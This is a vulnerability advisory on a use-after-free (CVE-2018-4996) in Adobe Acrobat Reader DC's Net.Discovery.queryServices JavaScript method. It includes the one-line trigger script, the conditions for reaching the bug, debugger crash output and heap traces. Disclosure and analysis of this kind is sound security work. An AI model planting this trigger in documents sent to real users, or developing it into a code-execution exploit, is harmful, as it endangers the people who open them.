Adobe Acrobat Reader DC Net.Discovery.queryServices Remote Code Execution Vulnerability(CVE-2018-4996)

2018-05-17T00:00:00
ID SSV:97293
Type seebug
Reporter Knownsec
Modified 2018-05-17T00:00:00

Description

Summary

A specific Javascript script embedded in a PDF file can lead to a pointer to previously freed object to be reused when opening a PDF document in Adobe Acrobat Reader DC 2018.009.20044. With careful memory manipulation, this can potentially lead to sensitive memory disclosure or arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2018.009.20044

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

7.1 - CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. Adobe Acrobat Reader DC supports embedded Javascript scripts in the PDF to allow for interactive PDF forms. This give the potential attacker the ability to precisely control memory layout and poses additional attack surface. When executing a following piece of Javascript in a suitable PDF document, a Use-After-Free condition can be triggered: try{this.Net.Discovery.queryServices( "", {} ); }catch(e){app.alert(e);}

With page heap enabled, this leads to a crash: eax=17a6acb8 ebx=29464fe0 ecx=29464fe0 edx=771f6c74 esi=2a064fd8 edi=2a064fd0 eip=520e2961 esp=0031f01c ebp=0031f02c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 Annots!PlugInMain+0x9ea60: 520e2961 ff7318 push dword ptr [ebx+18h] ds:0023:29464ff8=???????? 0:000>

The memory pointed to by ebx is freed an invalid, leading to a crash. The method Net.Discovery.queryServices requires privileges, and by default it would be blocked by security permissions. But if the source of the document is trusted, it will execute without problems and lead to a crash. In order to trigger a crash, the first argument needs to be an invalid service name. An empty string suffices.

If we track back the allocations, we can see that pointer in ebx is actually used as this in previous function calls. The pointer in ebx actually comes from an array of size 0x30 allocated at Annots!PlugInMain+0x4c01: 0:000> !heap -p -a eax address 292c2fd0 found in _DPH_HEAP_ROOT @ 191000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 292215b0: 292c2fd0 30 - 292c2000 2000 6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77276206 ntdll!RtlDebugAllocateHeap+0x00000030 7723a127 ntdll!RtlpAllocateHeap+0x000000c4 77205950 ntdll!RtlAllocateHeap+0x0000023a 62f8ed43 MSVCR120!malloc+0x00000049 55848b02 Annots!PlugInMain+0x00004c01 55848ab1 Annots!PlugInMain+0x00004bb0 55a4ba1b Annots!PlugInMain+0x00207b1a 558e1e29 Annots!PlugInMain+0x0009df28 558e2308 Annots!PlugInMain+0x0009e407 56b4267d EScript!mozilla::HashBytes+0x0004201b 56b275b6 EScript!mozilla::HashBytes+0x00026f54 56b217c2 EScript!mozilla::HashBytes+0x00021160 56b205f0 EScript!mozilla::HashBytes+0x0001ff8e 56b204fb EScript!mozilla::HashBytes+0x0001fe99 56b20442 EScript!mozilla::HashBytes+0x0001fde0 56b09e18 EScript!mozilla::HashBytes+0x000097b6 56b48697 EScript!mozilla::HashBytes+0x00048035 56b4841a EScript!mozilla::HashBytes+0x00047db8 56b47e8d EScript!mozilla::HashBytes+0x0004782b 56b46d7f EScript!mozilla::HashBytes+0x0004671d 56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d 6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf 60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd 601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31 5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618 5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16 601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a 5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f 5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b 5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b 5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231 Setting a write access breakpoint on the dword where the final dereferenced pointer is stored reveals where it comes from: 0:000> ba w 4 292c2ffc 0:000> dd 292c2ffc 0:000> g Breakpoint 6 hit eax=29d26fe0 ebx=29d26fe0 ecx=55a494c0 edx=771f6c74 esi=28a2cff8 edi=292c2fd0 eip=55a49408 esp=0018c9e4 ebp=0018ca0c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 Annots!PlugInMain+0x205507: 55a49408 e86941e0ff call Annots!PlugInMain+0x9675 (5584d576) 0:000> dd 292c2ffc 292c2ffc 29d26fe0 ???????? ???????? ???????? 0:000> !heap -p -a 29d26fe0 address 29d26fe0 found in _DPH_HEAP_ROOT @ 191000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 2a3221d4: 29d26fe0 1c - 29d26000 2000 6b258e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77276206 ntdll!RtlDebugAllocateHeap+0x00000030 7723a127 ntdll!RtlpAllocateHeap+0x000000c4 77205950 ntdll!RtlAllocateHeap+0x0000023a 62f8ed43 MSVCR120!malloc+0x00000049 55848b02 Annots!PlugInMain+0x00004c01 55848ab1 Annots!PlugInMain+0x00004bb0 558e22e7 Annots!PlugInMain+0x0009e3e6 56b4267d EScript!mozilla::HashBytes+0x0004201b 56b275b6 EScript!mozilla::HashBytes+0x00026f54 56b217c2 EScript!mozilla::HashBytes+0x00021160 56b205f0 EScript!mozilla::HashBytes+0x0001ff8e 56b204fb EScript!mozilla::HashBytes+0x0001fe99 56b20442 EScript!mozilla::HashBytes+0x0001fde0 56b09e18 EScript!mozilla::HashBytes+0x000097b6 56b48697 EScript!mozilla::HashBytes+0x00048035 56b4841a EScript!mozilla::HashBytes+0x00047db8 56b47e8d EScript!mozilla::HashBytes+0x0004782b 56b46d7f EScript!mozilla::HashBytes+0x0004671d 56bb622c EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f52d 6023b42f AcroRd32!AIDE::PixelPartInfo::operator=+0x000e3aaf 60179c7d AcroRd32!AIDE::PixelPartInfo::operator=+0x000222fd 601763b1 AcroRd32!AIDE::PixelPartInfo::operator=+0x0001ea31 5ffcd185 AcroRd32!AX_PDXlateToHostEx+0x00159618 5ffcd683 AcroRd32!AX_PDXlateToHostEx+0x00159b16 601799da AcroRd32!AIDE::PixelPartInfo::operator=+0x0002205a 5fc6426f AcroRd32!PDAlternatesGetCosObj+0x0001d51f 5fc2b14b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000b9c1b 5fba268b AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003115b 5fba1761 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00030231 5fb860d4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014ba4 5fb85688 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00014158 This 0x1c chunk of memory is subsequently freed but is later reused resulting in a crash: (c20.5e8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=17d2acb8 ebx=29d26fe0 ecx=29d26fe0 edx=771f6c74 esi=292c2fd8 edi=292c2fd0 eip=558e2961 esp=0018eee8 ebp=0018eef8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 Annots!PlugInMain+0x9ea60: 558e2961 ff7318 push dword ptr [ebx+18h] ds:0023:29d26ff8=???????? 0:000> dd ebx 29d26fe0 ???????? ???????? ???????? ???????? 29d26ff0 ???????? ???????? ???????? ???????? 29d27000 ???????? ???????? ???????? ???????? 29d27010 ???????? ???????? ???????? ???????? 29d27020 ???????? ???????? ???????? ???????? 29d27030 ???????? ???????? ???????? ???????? 29d27040 ???????? ???????? ???????? ???????? 29d27050 ???????? ???????? ???????? ????????

With page heap disabled, this stale pointer dereference will usually succeed and result in further memory corruption. With proper memory layout manipulation, it could be abused to achieve arbitrary code execution.

Do note that in order for the PoC to trigger this memory corruption, the PoC file needs to be added to trusted locations list in “Security(Enhanced)” in preferences.

Timeline

  • 2018-01-23 - Vendor Disclosure
  • 2018-05-15 - Public Release